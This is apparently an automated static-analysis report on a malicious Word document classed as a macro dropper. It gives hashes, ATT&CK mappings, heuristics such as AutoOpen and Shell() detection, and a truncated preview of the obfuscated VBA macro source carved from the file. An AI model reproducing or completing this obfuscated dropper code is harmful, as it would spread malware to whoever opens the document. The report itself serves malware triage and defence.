Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75c798a26eba73bd…

MALICIOUS

Office (OLE)

172.0 KB Created: 2018-02-26 15:15:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: e6e15bce37049990e1d2296a5427b333 SHA-1: e1c52d4a0b6a4c6ab96c052b38c463ecc776ebd7 SHA-256: 75c798a26eba73bda23755a59c231c4128cbfc20725e4e1fb3b9c330b671e894
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, strongly suggesting the macro attempts to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-7178147-0' further confirms its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7178147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7178147-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52219 bytes
SHA-256: a77a6ca7f8b136749cc5ee0eb7d48ba77bbbb686a9f7ac20d8ccaa5e1308757d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dBjnnvn"
Sub fplzljki(nYNhFANKq)
   On Error Resume Next
   Dim XjSpbDGGlNzqb()
   ReDim iHHjOHW(2)
   SBOvjWYBS(0) = 5534116
   BPjNzKufdzVbww(1) = 9809108
   ztiviYzNRbfUki = Loo - 6923227
   UtawwuHYUcsYzZ = 3381602 * 9822339
End Sub
Function mGkKZKXn()
On Error Resume Next
iMRdwV = "uMYslwdoaZYJiMTrCPRFPGGILWhBOzcWs=%4rav% fUjRdLV"
zQmkuBYLq = FJQpXUpES = qBADWqXjHnWMh = (2116333 / EoXsfAwMRDnIqa + 974460 * nQjzTDGBSMm * (6719925 / HscFsT / 6254503 - Tan(LmsrpiAj / CBool(jGBHjwALiAh / 4103718 / TNPGKKKDzG))))
jbbmKX = YMbioHiVG = kfjjwYvc = (8792081 / SzzlTfc + 6658157 * pZfizduHS * (2334727 / AfaDq / 7621153 - Tan(iImOiJjoZPq / CBool(IfvzQsF / 9335406 / DDQdQqOnYuu))))
jiwLprjVq = gjHBjhbyuf(iMRdwV, 8, 9)
GUDEZYZWqOL = "wqkBiumIv%!!%7rav%!&&bAMPLqiITpdZUs"
TZziiFGF = TICtifjWP = BMvml = (7355436 / MVzvBcjTLwNdt + 3907780 * ZiuaHuTjot * (5043837 / BROQYjnf / 3306982 - Tan(bSjVaSiStWkW / CBool(NsKfutmKBaHf / 442076 / jptFoNoHculUBA))))
GKslbi = WAEkiiBXN = smfaZ = (8398566 / pXUCdzQvI + 9608458 * QQtarl * (7759415 / WXAXw / 1608121 - Tan(oNBiOikVvw / CBool(wsAnoVjvHzL / 3472010 / tlYUBpAYuAKCua))))
hWnAVwoGdoP = gjHBjhbyuf(GUDEZYZWqOL, 15, 13)
uFAtzjG = "JcSzwpwsAzYLDXjCYsjJUFBpOrav% tejFjqZvpQR"
tqmin = kKVIiFJrK = bWHhYmO = (7878807 / bOuVtRASET + 5516987 * ZvsRYhBTjZDS * (2427639 / tzoJz / 4400790 - Tan(YUZqpcrinFXh / CBool(CbOQzFMVt / 474070 / cIsXAiu))))
wVDWb = TFzAbTbjE = pwTfkn = (9643992 / kYJuKSiR + 2789569 * jkTdJLD * (5389398 / CAvoPACjz / 6737264 - Tan(sUuFQFkZvjW / CBool(EODUqM / 7462094 / cIOwSo))))
pFlTF = gjHBjhbyuf(uFAtzjG, 10, 7)
lwfFoTYZ = "OZucBmYhGzOLrkjKjNiWiWrOMNZdDhFQwssbTM"
DFjEKvTA = mmBOBwwiX = KbdMMNvuP = (5110734 / UJOGVahCTX + 9619441 * XjOhGauGaMI * (233107 / jwEdi / 4656490 - Tan(PhRcm / CBool(jXQjEB / 2456692 / FdwfoUVUBIBNDm))))
kIOfwhuEkT = ddYkzvRpR = vwuWptIGoGdT = (1167956 / tDhujJbYEtunHT + 368161 * iQLMkqaw * (5902913 / zuZwJJ / 4525406 - Tan(rwNWIIKWtA / CBool(CloEWcMItN / 571895 / iQYJjzIkkP))))
dCbazzj = gjHBjhbyuf(lwfFoTYZ, 26, 4)
EQrnFdw = "JR%5rav%!rdUiSDHtUTQstqiGbWJTqAZNRpwA"
XsdTBj = AlXLtRhCU = ttizmz = (9970063 / nwmAEGX + 1468256 * qCjQOiUqfbi * (8218480 / JtRHoWjVuBn / 2563001 - Tan(iWzhRo / CBool(hqzkqiKOGHXU / 4271548 / nsjzR))))
iiiOfKsYjs = BYOwAwDED = qzKqFBTujQJLUO = (7400638 / SrFrdQkAnN + 3542236 * wonaHQQJNiQCU * (9752990 / jHpDA / 2001626 - Tan(dMwLTZNJD / CBool(jZvscjEEzcQoa / 675167 / fODszJSjb))))
TBiZlu = gjHBjhbyuf(EQrnFdw, 29, 7)
mvfAz = "SidIHTASiGZBNFmzfbYzmRwHkccplmq"
WohmMJcs = LMHLwsXBo = LNbCwbuZsKjYsa = (9446125 / mSUAc + 9004306 * VvwXa * (8242227 / SzPlRooYtT / 1318575 - Tan(iabmThOr / CBool(FhoVQJ / 1166209 / BEUiPs))))
YqXfEBSm = jIGIIQOYA = IMduJcqMzXNRb = (3089550 / fiRsP + 7460246 * ThrdMYFarjjv * (2477451 / jLzYN / 1490095 - Tan(rfShqHdizjl / CBool(YsvDfP / 3547056 / ZjjlfD))))
DYdHjrjIA = gjHBjhbyuf(mvfAz, 29, 1)
lNWrPvUX = "NhYABRCXNvtj%5rafVhPSKpuFcSswJfMJJaKE"
MwumpHz = PtXdZTqLZ = PzcCczfAp = (7292800 / LujzVridwqXkS + 9005899 * GNrkBiJ * (6473911 / jnkiQmuBrrD / 9713440 - Tan(dDbLicirMKIPq / CBool(JEkICNzQ / 6543911 / wNJvVs))))
UDCXh = brOPjnIqz = wqXdcTZUlwH = (6761054 / ltNVU + 2921810 * TnVTiRAai * (4245460 / tIWOGsEidnpJYk / 8458501 - Tan(dWWRobiNLUDuL / CBool(wlPAOafW / 7490789 / Rplhddwjq))))
WQshCwL = gjHBjhbyuf(lNWrPvUX, 22, 4)
lziTT = "jCEGniprozGZffJqZrqYrCDNEIRlNIDvihH"
fVROj = wwHiTfYPG = SPwznKBnLwvz = (8954714 / EcdnoMfPbPWO + 2655351 * PjWPdtIFsn * (8948527 / qpCIOzE / 4058382 - Tan(rClatFDnhd / CBool(waXcZjWBd / 9694187 / psdVpMSAWKs))))
IuIzwp = BYhlojnFR = KVPQSaj = (6661920 / CrbHMszYQq + 4032225 * GODZwunrmOY * (6272378 / fWNEXmjRu / 1445468 - Tan(ZQVtr / CBool(XOwiEHL / 8308089 / fvrpoSvj))))
VnLSjk = gjHBjhbyuf(lziTT, 19, 9)
RJimmRiwq = "ZEPzaPTlZjYnSpiiiZooCmMM
... (truncated)

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